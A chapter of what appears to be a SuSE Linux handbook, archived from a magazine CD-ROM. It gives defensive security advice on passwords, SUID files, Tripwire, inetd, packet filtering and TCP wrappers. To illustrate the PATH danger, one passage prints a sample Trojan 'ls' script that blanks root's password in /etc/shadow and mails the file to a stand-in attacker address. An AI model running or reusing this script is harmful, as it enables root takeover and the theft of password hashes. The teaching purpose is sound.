home *** CD-ROM | disk | FTP | other *** search
/ Chip 2000 May / Chip_2000-05_cd2.bin / docu / ascii / suselxen / slxen-18.txt < prev    next >
Text File  |  2000-03-11  |  43KB  |  764 lines

  1.           Part VII
  2.  
  3. Security and Getting Started
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.                                 411
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.                                                                            Chapter 18
  22.                      Security is a Matter of Trust
  23.  
  24. 18.1 Basics
  25. Attacks and intruders from the Internet can no longer be ignored. Every day
  26. one hears of some new danger to your PC at home or the entire company
  27. network, be it from attacks from the Internet, or from viruses. But in reality
  28. it is actually quite simple to take effective precautions against such threats.
  29. Before we go into describing individual protection measures, it needs to be
  30. clarified what is actually meant by the word "security", and protection against
  31. "what". The following 6 points will quickly make it clear that the security of
  32. a computer is a very sensible aim.
  33. 1. Protection of your resources
  34. 2. Access to information
  35. 3. Data availability
  36. 4. Data integrity
  37. 5. Confidentiality of sensitive information
  38. 6. Privacy
  39. A complete security solution is necessary in order to prevent someone from
  40. taking advantage of these issues. You must not only protect your computer
  41. from outside attacks, but also against data loss from equipment failure, such
  42. as a hard drive crash or faulty backup tapes.
  43.  
  44.  Backing up on a truly regular basis is vital. In addition, the integrity of
  45.  these backups should be checked from time to time, to make sure they are
  46.  reliable.
  47.  
  48. Your computer is at risk in the following ways:
  49. users connected directly to the corresponding computers present the largest
  50.    of all possible risks. These are not always intentional, but specific attacks
  51.    through staff, of course, cannot be ruled out.
  52. communication links via both local and worldwide networks can be
  53.    scanned using sniffers and other hacker tools. Open communication
  54.    links make your computer vulnerable to a break in-even from another
  55.    part of the world.
  56. direct access to your computer. It can be stolen, sabotaged or damaged by
  57.    someone untrustworthy.
  58.  
  59.                                                                                     413
  60.  
  61.  
  62.  
  63. 18. Security is a Matter of Trust
  64.  
  65.                  natural disasters computers are very prone to natural catastrophes.
  66.                  hardware and software, can be faulty, through design or concrete defects,
  67.                      thus not only threatening data, but also compromising security, and
  68.                      possibly making the service completely unusable (see also Section 91
  69.                      page 418).
  70.                  loss of storage media. Floppy disks, streamer tapes and hard drives can be
  71.                      damaged, lost or stolen.
  72.                  electromagnetic radiation is emitted by your computer, monitor and even
  73.                      network cables. Sophisticated surveillance equipment can use this to
  74.                      monitor activity on your computer. This radiation is also carried through
  75.                      conduits and power cables, and, contrary to popular opinion, LCD moni-
  76.                      tors also give off radiation.
  77.                  We want to concentrate here on the first two points, because a well-thought
  78.                  out use of SuSE Linux can, to a large extent, remove potential dangers. The
  79.                  other points are probably of less interest to a private user of SuSE Linux, but
  80.                  if a company network is being set up, those involved need to take these points
  81.                  into consideration.
  82.                  In Section 18.1.1 and Section 18.1.2 page 417 we first point out the different
  83.                  types of attacks which exist. Later, in Section 18.2 page 418, we describe the
  84.                  relevant security tools in detail. Finally, at the end of the chapter, we outline
  85.                  some important general guidelines.
  86.  
  87.                  18.1.1 Local Security
  88.                  He who sits in a glass house . . . If you want to secure your data, you should
  89.                  begin with your personal computer. Even if your computer is not connected
  90.                  or only connected via dialup to the Internet, you should take certain security
  91.                  precautions. To have your hard drive erased accidentally by a party guest, can
  92.                  be a pain. Even more so if it contains the only copy of your dissertation.
  93.  
  94.                  Passwords
  95.                  As Linux is a multiuser operating system, it offers not only a means for
  96.                  administering users but also a complete authentication mechanism. Although
  97.                  it may not seem necessary at first, be sure to enter a password for every user on
  98.                  your computer.1 This provides positive protection for your computer against
  99.                  intruders. You should take special care to give the user `root' a good
  100.                  password, because getting hold of the `root' password is one of the main
  101.                  targets for crackers.
  102.                  However, as long as others have physical access to your computer, the best
  103.                  password in the world is of no use. Any person who can boot your computer
  104.                  can attack it using a boot disk. For this reason, you should disable the floppy
  105.                  as a boot device in your BIOS setup.
  106.  
  107.                   For this to be of any use, you will need to set a password for the BIOS. Do
  108.                   not forget this password! Without it, you will not be able to access your
  109.                   own BIOS ¡ unless the BIOS is reset by means of a jumper setting
  110.  
  111.                  1 Many references discuss this. In Section 18.4 page 426, we give you some practical advice.
  112.  
  113. 414
  114.  
  115.  
  116.  
  117.                                                                                       18.1. Basics
  118.  
  119. If you use LILO (see Section 26 page 113) you should set the option
  120. restricted together with a password (e. g. password=secure password)
  121. in /etc/lilo.conf. Otherwise it is possible for anyone sitting directly at
  122. the computer to compromise the system's security. Obviously the password
  123. must be chosen carefully, and /etc/lilo.conf should only have read
  124. permissions for `root'.
  125. The package john in series sec (Security-related Software) contains a pro-
  126. gram which tries to "guess" passwords. A good system administrator can use
  127. this to automatically root out weak passwords, and then request users to only
  128. use safe passwords.
  129.  
  130. Permissions
  131. All users should work in a reduced permissions environment in order to be
  132. sure they do not harm your system, whether deliberately or not. Furthermore,
  133. you should avoid, as far as possible, working as user `root'. And you
  134. should be the only person who knows the `root' password.
  135.  
  136. Buffer Overruns
  137. Forcing buffer overruns is one of the most popular methods crackers use to
  138. get `root' permissions on a computer. Also known as "stack smashing
  139. vulnerabilities", these exploits overwrite static entries in a program's user
  140. stack (e. g., while entering text) with a value that launches a command, such
  141. as invoking a shell. This is possible in programs which have static array
  142. dimensions and which don't check for buffer overrun.
  143. The only vulnerable programs are those with the SUID bit set. These are
  144. programs that are executed using the UID of the owner instead of the user.
  145. Normally programs such as passwd use SUID because they perform tasks
  146. not allowed to a normal user. For this reason, we have taken steps to minimize
  147. the number of SUID programs in SuSE Linux as well as introducing further
  148. measures to protect these programs from attack. You should also mointor the
  149. relevant media and, when such loopholes are announced, you should obtain
  150. the available updates and patches as soon as possible.
  151. Another form of attack on privileged programs and running services are so-
  152. called "link attacks". Through programs working carelessly in public direc-
  153. tories, it can be possible to divert data to totally different files, thus compro-
  154. mising the security of the system, or even bringing it down.
  155. In order to reduce the number of SUID and SGID files in the system, in
  156. SuSE Linux, you can, with YaST, in System Administration and
  157. Security Settings change the settings to secure or paranoid in
  158. the selection window file permissions changed to:. The permis-
  159. sions set by these can be seen in the files /etc/permissions.secure
  160. and /etc/permissions.paranoid. Before you use paranoid, how-
  161. ever, you should ensure that the functionality of the system is not too re-
  162. stricted for your own requirements. Because of its complexity and its huge
  163. amount of code, the X Window System (XFree86) has, on a number of oc-
  164. casions, attracted adverse attention. This problem has now been diffused in
  165. SuSE Linux because the server and libraries are no longer set with SUID
  166.  
  167.                                                                                               415
  168.  
  169.  
  170.  
  171. 18. Security is a Matter of Trust
  172.  
  173.                  `root'. Under certain conditions, however, there can be a number of draw-
  174.                  backs in the client-server communication. It is possible, for example, to in-
  175.                  tercept keyboard input, or to read window contents. By observing rule 3 and
  176.                  using Xauthority (command xauth), as well as avoiding xhost +, a high
  177.                  level of security can be achieved.
  178.                  Where possible, to start remote X-programs, package ssh in series n (Net-
  179.                  work) should be used. If you plan to use ssh commercially, please look at the
  180.                  licenses in /usr/doc/packages/ssh/COPYING. ssh is available for
  181.                  almost any platform. However, this so-called X11 forwarding also contains
  182.                  its own concealed risks, so you should consider not using it al all.
  183.  
  184.                       For reasons of performance alone, the X Window System should never be
  185.                       installed on critical servers (i.e. file servers, ftp servers, routers, etc.
  186.  
  187.                  .
  188.  
  189.                  Viruses and Trojan Horses
  190.  
  191.                  Until relatively recently, various types of viruses did their mischievous deeds,
  192.                  and not just on home computers, because copying and transporting software
  193.                  by floppy disks represented the ideal feeding ground for such programs. For-
  194.                  tunately, only two viruses for Linux have been discovered until now. Because
  195.                  software for Linux is hardly ever passed on in binary form, and since SuSE
  196.                  Linux itself can be considered virus free, there is no threat from viruses, pro-
  197.                  viding you abide by rule 1, on page 426.
  198.                  It is a different matter, however, for the still increasingly seen macro viruses,
  199.                  often sent by electronic mail (embedded in word processing documents).
  200.                  Since there is no Linux version of Microsoft Office, these can do no dam-
  201.                  age to SuSE Linux itself. The fact that SuSE Linux is increasingly used on
  202.                  mail servers as a "Mail Transfer Agent", offers an ideal opportunity to scan
  203.                  incoming and outgoing mails automatically for embedded viruses.
  204.                  "Trojan horses" are completely different from viruses. These are programs
  205.                  which claim to do one thing, but do some evil deed as well. For example, a
  206.                  shell login Trojan horse might collect user names and passwords in a file, and
  207.                  send this information on as e-mail. This may sound quite harmless, but it's
  208.                  no joke if credit card numbers or the PIN of a bank account is involved.
  209.                  The chances of loading a Trojan horse from the Internet or receiving one by
  210.                  e-mail are pretty slim. It is, however, standard practice to leave behind some
  211.                  Trojans on an already compromised system, in order to be able to access that
  212.                  machine at any time. The existence of these can therefore be seen as a sure
  213.                  sign of a compromised machine.
  214.                  While there is no definitive protection against viruses and Trojan horses, you
  215.                  can greatly reduce the likelihood of such attacks by installing a good virus
  216.                  scanner, and copying both floppy disks and programs with great care. In
  217.                  addition, please see Section 18.4 page 426. The use of programs such as
  218.                  tripwire, package tripwire, series sec (Security relevant software), see
  219.                  Section 92 page 419 is useful in identifying these.
  220.  
  221. 416
  222.  
  223.  
  224.  
  225.                                                                                     18.1. Basics
  226.  
  227. 18.1.2 Network Security
  228.  
  229. Most computers these days no longer exist on their own ("standalone"). As
  230. Linux offers all the necessary capabilities, most Linux computers are on a
  231. LAN and may just as easily be connected to the Internet via a modem. Linux
  232. computers are also frequently used as gateways for complex subnets. These
  233. factors provide many avenues of attack from the network.
  234. You may avoid most of these attacks by setting up a firewall. The ports in
  235. use will still be vulnerable, but they may be protected, using the appropriate
  236. tools.
  237. The potential for being attacked during the 30 minutes each day you read your
  238. e-mail while connected to the Internet via dialup modem may be neglected.
  239. Systems which use leased lines, however, should be protected. Below, we
  240. describe the most important forms of attack.
  241.  
  242.  
  243. Man in the Middle
  244.  
  245. "Man in the middle" attacks refer to a network that is routed via one or
  246. more hosts. The intruder takes control of one of the routers, and can sniff
  247. IP packets, redirect and replace them. As routers currently do not require
  248. authentication, it is quite easy to do this. This will change when the new IPv6
  249. protocol standard comes into force.
  250. The only protection against this kind of attack is a good set of cryptographic
  251. tools. These attacks occur mainly while accessing WWW sites or while
  252. exchanging mail. You should never use commands such as telnet and
  253. rsh, as they send an un-encrypted password over the network. This allows
  254. devious hackers to read them! Switch to ssh to avoid this. E-mail can be
  255. encoded, using pgp. Even HTTP pages can be encoded, using the SSL2
  256. protocol. This protocol is used with package apache in series n (Network).
  257. The quality of the encryption is only as good as the secure transmission of the
  258. key. So you should take special care when doing this!
  259.  
  260.  
  261. Buffer Overflows, Part 2
  262.  
  263. After so-called "sniffing", the passive reading of data (such as login and pass-
  264. word), buffer overflows are the most frequent kind of security compromise
  265. from the outside. The rule here is: every service accessible externally (e. g.
  266. mail, webserver, POP3, etc.) represents a potential security problem. all
  267. services which are absolutely essential and cannot be switched off, should,
  268. wherever possible, only be accessible by certain systems, via a firewall con-
  269. figuration of the Linux kernel (by means of ipchains). If this is not pos-
  270. sible you should try and replace the service with an especially secure version
  271. (e. g. package postfix instead of package sendmail). In addition to this,
  272. experts can run every service in its own chroot environment.
  273.  
  274. 2 SSL stands for Secure Socket Layer
  275.  
  276.                                                                                             417
  277.  
  278.  
  279.  
  280. 18. Security is a Matter of Trust
  281.  
  282.                  Denial of Service
  283.                  Denial of service attacks attempt to overload a network service. Under cer-
  284.                  tain conditions, not only the specific service attacked but the computer under
  285.                  attack as well, may no longer be reached. After the attack, the network pack-
  286.                  age which initiated it will often have been moved somewhere else. Denial
  287.                  of service is often used together with IP spoofing (see below) to conceal the
  288.                  source of the attack. Tracing the attacker is almost impossible. You need an
  289.                  effective means of protection.
  290.                  When denial of service attacks are discovered, a patch protecting against it
  291.                  will usually be available for download over the Internet within hours. SuSE
  292.                  Linux has been patched to protect against every denial of service attack
  293.                  known, up to the time of pressing the CD. The administrator must remain
  294.                  informed at all times about both attacks and available patches.
  295.  
  296.                  IP spoofing
  297.                  IP spoofing makes use of a security hole in the TCP/IP protocol-it doesn't
  298.                  check the return address. Thus, this address may be changed to cover the
  299.                  cracker's origin of attack.
  300.                  It is important to configure your router to require an external network con-
  301.                  nection. Only packets containing an external address should be routed to the
  302.                  internal network, and packets with an internal address, to the external net-
  303.                  work. It should be the responsibility of each ISP to configure their routers
  304.                  properly so that invalid packets will not be routed.
  305.  
  306.                  18.2 Tools
  307.                  Let's take a look at the tools available for maintaining your system and check-
  308.                  ing for potential weak points. We would like to remind you at this point that
  309.                  the potential threat to a computer varies in each individual case. In a network
  310.                  protected by a firewall, it is clear that less protection and monitoring measures
  311.                  are needed than in an unprotected network.
  312.  
  313.                  18.2.1 Local Tools
  314.                  Two great advantages of Linux over other operating systems are it's stability
  315.                  and the fact that it is a multiuser system. However, the latter entails risks
  316.                  which should not be underestimated. In addition to the known permissions,
  317.                  there are certain parameters which can be exploited by the advanced user.
  318.                  Specifically, we mean the SUID bit. A program with this set automatically
  319.                  has the permissions of the user to whom it belongs. If the said program
  320.                  belongs to the superuser, and is started by any user, then it has the rights
  321.                  of the superuser on the running system. This might sound dangerous but
  322.                  this is normally not the case. In fact there are several programs that rely on
  323.                  this capability. The command ping, for example, needs to be executed as
  324.                  superuser. This would mean that only user `root' would be allowed to
  325.                  execute this program. To avoid this, the SUID bit is set.
  326.                      newbie@earth:/home/newbie > ls -l /bin/ping
  327.  
  328. 418
  329.  
  330.  
  331.  
  332.                                                                                      18.2. Tools
  333.  
  334.  
  335.   -rwsr-xr-x        1 root           root        13216 Mar 17 16:36 /bin/ping
  336.  
  337.  
  338.  
  339.  
  340. If you would like to know the programs that have the SUID bit set and belong
  341. to user `root', enter the following command:
  342.    newbie@earth:/home/newbie > find / -uid 0 -perm +4000
  343. This is one way of detecting "suspicious" programs. YaST enables you to set
  344. `Permissions will be set to:' (in `System administra-
  345. tion' and `Security settings') secure. The files which are af-
  346. fected by this can be seen in /etc/permissions.secure.
  347. No one has the time to monitor his computer all the time. Fortunately there
  348. are tools to help you perform this tedious task. One of these tools deserves
  349. special mention, recommended as it is by CERT.3 This is the tripwire package
  350. in package tripwire, series n (Network).
  351.  
  352. Tripwire
  353.  
  354. Tripwire is easy to understand. It checks the system and saves the states and
  355. necessary information in a database. You can specify the files which are to be
  356. checked in a configuration file.
  357. Tripwire doesn't check for infected files or system errors. It assumes that it
  358. is installed on a clean system. This is why it should be installed directly after
  359. the system has been set up and before it is connected to the network. You
  360. create the database as follows:
  361.    root@earth:root > /var/adm/tripwire/bin/tripwire -init
  362. The paths to the database and configuration files, as they have been compiled
  363. into package tripwire on SuSE Linux are shown in Table 18.1.
  364.  
  365.  
  366.  /var/adm/tripwire                  Database and configuration file
  367.  
  368.  
  369.                               Table 18.1: Tripwire
  370.  
  371. The paths are chosen such that only the superuser (`root') may change
  372. to the Tripwire home directory. Ideally the database should be on a read-
  373. only filesystem (e. g., a write protected floppy disk), otherwise a successful
  374. attacker could cover his tracks by manipulating the database. An example
  375. configuration file for Tripwire may be found in /usr/doc/packages/
  376. tripwire/tw.conf.example.linux. Help on the syntax of Tripwire
  377. may be found in the corresponding manpage tw.config. You may apply
  378. different checksum methods to different files and directories. After you have
  379. 3 CERT = Computer Emergency Response Team; see http://www.cert.dfn.de/
  380. dfncert/info.html.
  381.  
  382.                                                                                             419
  383.  
  384.  
  385.  
  386. 18. Security is a Matter of Trust
  387.  
  388.                  set up your configuration file, you may run tripwire regularly, for example, as
  389.                  a cron job.
  390.  
  391.                  SuSE Security Tools
  392.                  SuSE Linux now has four specially developed security programs to help you
  393.                  make your system more secure, and help you in controlling this:
  394.                  The package firewall, series sec (Security-related Software) contains the
  395.                  script/usr/sbin/SuSEfirewall, which reads out the configuration file
  396.                  /etc/rc.firewall and then generates restrictive filter lists by means of
  397.                  the program ipchains. More information can be found in Section 18.2.2 on
  398.                  the facing page, Network Tools.
  399.                  The package secchk, series sec (Security-related Software) contains a
  400.                  number of small scripts which make special safety checks on the system on a
  401.                  daily, weekly and monthly basis (such as the consistency of the password file,
  402.                  user files, breaking passwords, modules which are running), and if changes
  403.                  have been made, the administrator is informed.
  404.                  The package hardsuse, series sec (Security-related Software) contains
  405.                  the perl script /usr/sbin/harden suse, which was developed to provide system
  406.                  administrators with a simple-to-use program to increase security. When it
  407.                  is started, nine yes/no questions are asked (for example, should all services
  408.                  should be de-activated user security increased, or SUID and SGID files mini-
  409.                  mized?), and according to the answers given, the system is then re-configured.
  410.                  You can find a log file with the changes in /etc/harden_suse.log, and
  411.                  backup copies of the modified files are also created. If the system subse-
  412.                  quently does not perform as expected, the changes can be undone, using the
  413.                  script /etc/security/undo harden suse.pl.
  414.                  The package scslog, series sec (Security related software) contains a ker-
  415.                  nel module which, when it has been loaded, (you can automate this by adding
  416.                  it to the startup files, for example) will protocol all incoming and outgoing
  417.                  network connections.
  418.                  The package secumod, series sec (Security related software) contains a
  419.                  further module which prevents, or makes it difficult, for attacks to be made on
  420.                  your system. Up until now, this includes protection from symlink, hard link
  421.                  and pipe attacks, processes can, if desired, be stopped from being "strace"
  422.                  d, and more besides. Because this package is still very new and was not
  423.                  completely documented at the time of the handbook going to press, we would
  424.                  like to ask you to have a look at the documentation of the package.
  425.                  Further tools are already being prepared.
  426.  
  427.                  Surfing the Log Files
  428.                  The log files are a very important resource for gathering information about
  429.                  your system. These are files where programs leave a record of their work.
  430.                  At least one of them, /var/log/messages, should be checked regularly.
  431.                  Most of the logs in SuSE Linux are configured to write to this file.
  432.                  Normally you don't have the time to browse this huge file. Luckily there are
  433.                  tools which make it easier to read these log files. One of these is the program
  434.  
  435. 420
  436.  
  437.  
  438.  
  439.                                                                                    18.2. Tools
  440.  
  441. logsurfer, which continually checks log files according to directions in a con-
  442. figuration file. You may attach commands to certain occurrences in the log
  443. files. For example, if the word "fail" occurs, you may want to be informed via
  444. e-mail. logsurfer is a way to do this. logsurfer comes with an excellent man-
  445. page, see manpage for logsurfer.conf (man 4 logsurfer.conf).
  446.  
  447. The PATH Variable and User `Root'...
  448. You may have noticed while working with SuSE Linux that the current direc-
  449. tory is excluded from the search path of `root'. This is why when you are
  450. `root', you have to add the prefix ./ to launch commands from the current
  451. directory. The reason that SuSE Linux is configured this way is illustrated in
  452. the example below:
  453.  
  454.  * Suppose there is a user working on your system who creates the script in
  455.    File contents 18.2.1.
  456.  
  457.   #!/bin/sh
  458.  
  459.   cat /etc/shadow | \
  460.          sed 's;\( root:\)[ :]*\(:.*\);\1\2;' > /etc/shadow
  461.   mailx hacker@@hackit.org -s "Root Account hacked" < /etc/shadow
  462.   ls $*
  463.  
  464.  
  465.             File contents 18.2.1: Shell script to hack root account
  466.  
  467.  * This script is then moved to /tmp/ls.
  468.  * Now, if `root' changes to /tmp, even though he has the actual path in
  469.    his PATH environment variable, `root' will not launch /bin/ls, but
  470.    our little script in /tmp/ls instead. The result of executing this script is
  471.    that the `root' password is removed. Even worse, the script also sends
  472.    the user who wrote it an e-mail, informing him that the password has been
  473.    removed. Now, he may freely log in as user `root'. The consequences
  474.    may be very unpleasant ;-) .
  475.  
  476. If this current directory was not in the search path, this could only have
  477. happened if you had explicitly typed ./ls. This, by the way, is an example
  478. of a Trojan horse, as described above (see Section 90 page 416).
  479.  
  480. 18.2.2 Networking Tools
  481. It is instructive to observe a host that is connected to a network. Below, we
  482. want to point out how you can protect your Linux computer from attacks
  483. through the network.
  484.  
  485. inetd
  486. An elementary approach to this is a carefully thought out switching of the
  487. ports which inetd (Internet "Super Server" ) makes available. In SuSE Linux,
  488.  
  489.                                                                                           421
  490.  
  491.  
  492.  
  493. 18. Security is a Matter of Trust
  494.  
  495.                  some of the "vulnerable" services are normally disabled by default. These
  496.                  include the so-called "internal services" of inetd. The configuration file is
  497.                  /etc/inetd.conf. But other services as well should be enabled or dis-
  498.                  abled with care ¡ according to requirements. We recommend that you take a
  499.                  look at the configuration files, since, for example, POP3 and other services
  500.                  are enabled by default! A list of services that are completely sufficient for
  501.                  nearly all cases is shown in File contents 18.2.2.
  502.  
  503.                    ftp        stream tcp nowait root         /usr/sbin/tcpd            wu.ftpd -a
  504.                    telnet stream tcp nowait root             /usr/sbin/tcpd            in.telnetd
  505.                    shell stream tcp nowait root              /usr/sbin/tcpd            in.rshd -L
  506.                    login stream tcp nowait root              /usr/sbin/tcpd            in.rlogind
  507.                    finger stream tcp nowait nobody /usr/sbin/tcpd                      in.fingerd -w
  508.                    ident stream tcp wait            nobody /usr/sbin/in.identd in.identd \
  509.                               -w -e -t120
  510.  
  511.  
  512.  
  513.                               File contents 18.2.2: Example configuration for inetd
  514.  
  515.                  Think hard about whether you really need services such as telnet, shell and
  516.                  login. The disadvantage of each of these services is that passwords are tran-
  517.                  mitted without encryption. Reading these passwords is not difficult. There
  518.                  are tools which make this kind of attack trivially easy.
  519.                  Never, under any circumstances, allow remote `root' access! Once again,
  520.                  we direct your attention to the "Secure Shell" (package ssh). It encrypts
  521.                  everything, even the password. ( Encryption).
  522.  
  523.                   Questions on the SuSE Packet Filter Firewall cannot be answered by in-
  524.                   stallation support.
  525.  
  526.                  The SuSE Packet Filter Firewall (package firewall, series sec (Security-
  527.                  related Software)) is activated and configured by the file /etc/rc.
  528.                  firewall. Individual entries are documented and commented in the file
  529.                  itself. In order to help first-time users as well into the intricacies of firewalls,
  530.                  here are some basic explanations and hints on using the SuSE Packet Filter
  531.                  Firewall.
  532.                  The family of protocols used for communication via the Internet is the In-
  533.                  ternet protocol known as "TCP/IP". TCP/IP stands for Transmission Control
  534.                  Protocol and Internet Protocol. TCP/IP is nowadays available on almost all
  535.                  hardware, operating systems and network platforms. It was developed by the
  536.                  United States Department of Defence (DoD) and presented to the public for
  537.                  the first time in 1978.
  538.                  A TCP/IP network transforms data between computer systems by turning
  539.                  the data into packets, and sending these packets. Each packet begins with
  540.                  a header containing various control information, such as the address of the
  541.                  target computer. This header is then followed by the data to be transmitted.
  542.                  If, for example, a file is to be transported to another computer via the network,
  543.                  the contents of this file are transformed into a series of packets. These packets
  544.                  are then sent to the target computer.
  545.  
  546. 422
  547.  
  548.  
  549.  
  550.                                                                                     18.2. Tools
  551.  
  552. The error-free transmission of the packets is guaranteed by the Transmission
  553. Control Protocol (TCP). It ensures that the packets arrive in the right order.
  554. TCP provides the transport layer and announces errors which cannot be cor-
  555. rected to the next-higher IP layer. A further transport protocol of the family
  556. is UDP. With UDP, there is no guarantee of error-free transmission, making
  557. transmission faster than with TCP. This means, however, that when using
  558. UDP you must check in other ways (through the application) that transmis-
  559. sion errors are detected and corrected.
  560. An IP address (IP version 4) is a 32-bit value. To make IP addresses more
  561. readable they are written in 8-bit portions, separated by dots (e. g.192.168.0.20).
  562. In order for a computer to maintain a number of connections simultaneously,
  563. and for it to be able to keep these connections separate from each other,
  564. the communication takes place via so-called ports (0 to 65535). Different
  565. connections are assigned to these ports, that is, in the header of a TCP or
  566. UDP packet the source and target ports of the sending computer (source
  567. address) and the receiving computer (target address) are entered, together
  568. with the addresses of the computers themselves. A number of the ports from
  569. 0 to 65535 are reserved for specific services (see also /etc/services).
  570. The TCP port 23 is, for instance, the port for telnet connections. A further
  571. specification concerns ports 0 to 1023 (TCP and UDP). They are the so-called
  572. privileged ports. Only trustworthy programs, which sometimes need to be
  573. carried out with system administrator privileges, can offer their services on
  574. these ports (see /etc/services).
  575. the ports 1024 to 65535 are referred to as non-privileged ports. The diference
  576. can be illustrated with the somewhat simplified example of a file transfer with
  577. ftp. An FTP server provides its services on TCP port 21. If an FTP client
  578. on the computer is started with the IP address 192.168.3.5 (client) with
  579. the command
  580.    newbie@earth:/home/newbie > ftp 192.168.3.16
  581. then the client creates a TCP connection to port 21 of the computer with the
  582. IP address 192.168.3.16 (Server). On port 21 the FTP server answers
  583. and processes the user identification (login name and password query). The
  584. FTP commands which the user enters after logging in are also transmitted
  585. via this connection. If data is to be transferred from the server to the client,
  586. (after entering the command ls or get) the server independently creates
  587. a connection to a non-privileged port of the client. The actual data is then
  588. transmitted via this connection.
  589. TCP/IP was designed for very large networks, and for this reason contains
  590. mechanisms for structuring a network. The entire 32-bit wide address space
  591. can be divided into "subnets". A subnet is formed by a number of bits being
  592. defined (beginning from the left) as the net address of a subnet. For the subnet
  593. with the address 192.168.3.0, the first 24-bits of the address form the
  594. network address. Through the "subnetmask" (network mask) it is defined
  595. how many bits of an address form the network address. The subnetmask
  596. 255.255.255.0 for example, specifies that the computer with the address
  597. 192.168.3.5 can be found in the subnet with the address 192.168.3.0.
  598. Subnets within a large network are usually connected by routers. Routers
  599. are either specialised machines or computers which are sufficiently well
  600.  
  601.                                                                                            423
  602.  
  603.  
  604.  
  605. 18. Security is a Matter of Trust
  606.  
  607.                  equipped, and which ensure that packets find the correct path to their destina-
  608.                  tion. The counteracting role to the subnet mask is performed by the so-called
  609.                  broadcast address. Via the broadcast address, all computers of a subnet are
  610.                  reachable. Example: all computers in the network 192.168.3.0 can be
  611.                  reached via the broadcast address 192.168.3.255. If a connection to the
  612.                  Internet has been made then the computer is part of the worldwide Internet.
  613.                  Each time a connection to the provider is activated, that computer is reachable
  614.                  from the Internet. Now you need to take steps to prevent unauthorized access
  615.                  from the Internet. This task is taken on by the SuSE Packet Filter Firewall.
  616.  
  617.                   Packet filters are network level firewalls. They make fundamental deci-
  618.                   sions on the basis of source addresses, target addresses and ports in spe-
  619.                   cific IP packets. A simple router or the SuSE Packet Filter Firewall are
  620.                   traditional network level firewalls. Since they are not intelligent enough to
  621.                   determine what significance the contents of an IP packet have and where
  622.                   it really originates from, they do not offer sufficient protection against
  623.                   attacks. Modern network level firewalls (for example, SINUS Firewall
  624.                   I for Linux, http://www.sinus-firewall.org) are more highly
  625.                   developed, and gather internal information on the status of connections
  626.                   which run via them, the contents of data streams, etc. Application level
  627.                   firewalls (e. g.TIS Firewall Toolkit) on the other hand, are usually comput-
  628.                   ers on which proxy servers run and which carefully protocol and examine
  629.                   the data traffic running over them. Since the proxy servers are programs
  630.                   which run on the firewall, they are ideally suited for protocol and access
  631.                   protection mechanisms.
  632.  
  633.  
  634.                  Where should the SuSE Packet Filter Firewall be used? For networks
  635.                  with an increased need for protection (strictly speaking, anywhere where
  636.                  personal information is stored), application level firewalls are still the first
  637.                  port of call, due to the way they function. For such networks the SuSE Packet
  638.                  Filter Firewall does not provide sufficient protection.
  639.                  The SuSE Packet Filter Firewall is intended for protecting a private PC, a
  640.                  mini-network at home or a workstation within a trusted network.
  641.                  You should only use the SuSE Packet Filter Firewall to protect company
  642.                  networks if you know exactly what you are doing (see bibliography).
  643.                  To set up and maintain firewalls, an in-depth knowledge of networks and
  644.                  the protocols used in them is essential. This knowledge ultimately cannot
  645.                  be replaced by a graphical interface or a pre-configured setup, such as that
  646.                  provided by the SuSE Packet Filter Firewall.
  647.                  Documentation on the SuSE Packet Filter Firewall can be found in /usr/
  648.                  doc/packages/firewall and /etc/rc.firewall.
  649.                  If you want to tackle the subject of firewalls in more depth, we recommend
  650.                  you experimenting and studying the following sources:
  651.                  The Firewall handbook for Linux 2.0 and 2.2 by Guido Stepken provides
  652.                  almost everything you need to know in order to construct a secure firewall
  653.                  with Linux, from detailed technical information to the description of typical
  654.  
  655. 424
  656.  
  657.  
  658.  
  659.                                                                    18.3. Security in SuSE Linux
  660.  
  661. weak points and errors. The firewall handbook is required reading, and is only
  662. available online (http://www.little-idiot.de/firewall/).
  663. The Freefire project is a good starting point for all those who are interested
  664. in firewalls on a free software basis (http://sites.inka.de/sites/
  665. lina/freefire-l/).
  666.  
  667. TCP Wrappers
  668. TCP wrappers (tcpd) enable you to securely use certain services for networks
  669. or IP addresses. tcpd is activated in SuSE Linux by default. You may see this
  670. in column six of File contents 18.2.2 page 422 and /etc/inetd.conf.
  671. The concept is quite simple: tcpd launches the services that you actually
  672. need, first checking to see if the client is authorized to access them.
  673. This access control takes place via the two files /etc/hosts.allow and
  674. /etc/hosts.deny.
  675.  * Access is granted if a combination of client and service is found in the file
  676.    /etc/hosts.allow.
  677.  * Similarly, access is denied if such a combination is found in the file
  678.    /etc/hosts.deny.
  679.  * If there is no rule in one of the above files, access is allowed.
  680.  
  681.  The first rule to be found is used. If access to, for example, the telnet port
  682.  in /etc/hosts.allow is allowed, it will be allowed even if it is denied
  683.  in /etc/hosts.deny.
  684.  
  685. The syntax for making entries to these files is described in the manpage for
  686. hosts access (man 5 hosts access).
  687. There is an alternative to TCP wrappers called xinetd, which combines the
  688. features of inetd and tcpd. One disadvantage of xinetd is that the configura-
  689. tion files of inetd and xinetd are incompatible.
  690.  
  691.  Only one Internet "Super Server" (inetd or xinetd) may be started. You
  692.  have to decide which one to use.
  693.  
  694. In the series sec (Security-related Software) further programs can be found
  695. which can be of help in building a secure system. Just browse through the
  696. packages there.
  697.  
  698. 18.3 Security in SuSE Linux
  699. SuSE offers the following services to accomplish the highest possible
  700. security-oriented distribution:
  701.  
  702. Two Mailing Lists are Available for Everyone:
  703.  * suse-security-announce ¡ contains SuSE notifications of secu-
  704.    rity problems.
  705.  * suse-security ¡ contains notifications and is open to public discus-
  706.    sion.
  707.  
  708.                                                                                            425
  709.  
  710.  
  711.  
  712. 18. Security is a Matter of Trust
  713.  
  714.                  To subscribe to either of the mailing lists, just send an electronic mail to
  715.                  majordomo@suse.com, with the contents:
  716.                  subscribe suse-security or
  717.                  subscribe suse-security-announce
  718.  
  719.                  Central Notification of New Security Problems:
  720.                  If you find a new security problem (be sure to check the updates available
  721.                  beforehand), please send an electronic mail to: security@suse.de, with
  722.                  a description of the problem. We will attend to it immediately. You can
  723.                  encrypt the files with the package pgp. Our public pgp key4 can be
  724.                  downloaded from: http://www.suse.de/security ( encryption).
  725.  
  726.                  18.4 General Rules
  727.                   1. Only use `root' for administrative purposes. You should create a user
  728.                      for your daily work.
  729.                   2. Try to avoid the commands telnet, rlogin and rsh.
  730.                   3. Use ssh instead, if you want to work remotely.
  731.                   4. Deactivate all network services that are not needed.
  732.                   5. Make sure you have up-to-date versions of relevant packages such as
  733.                      bind, sendmail and ssh.
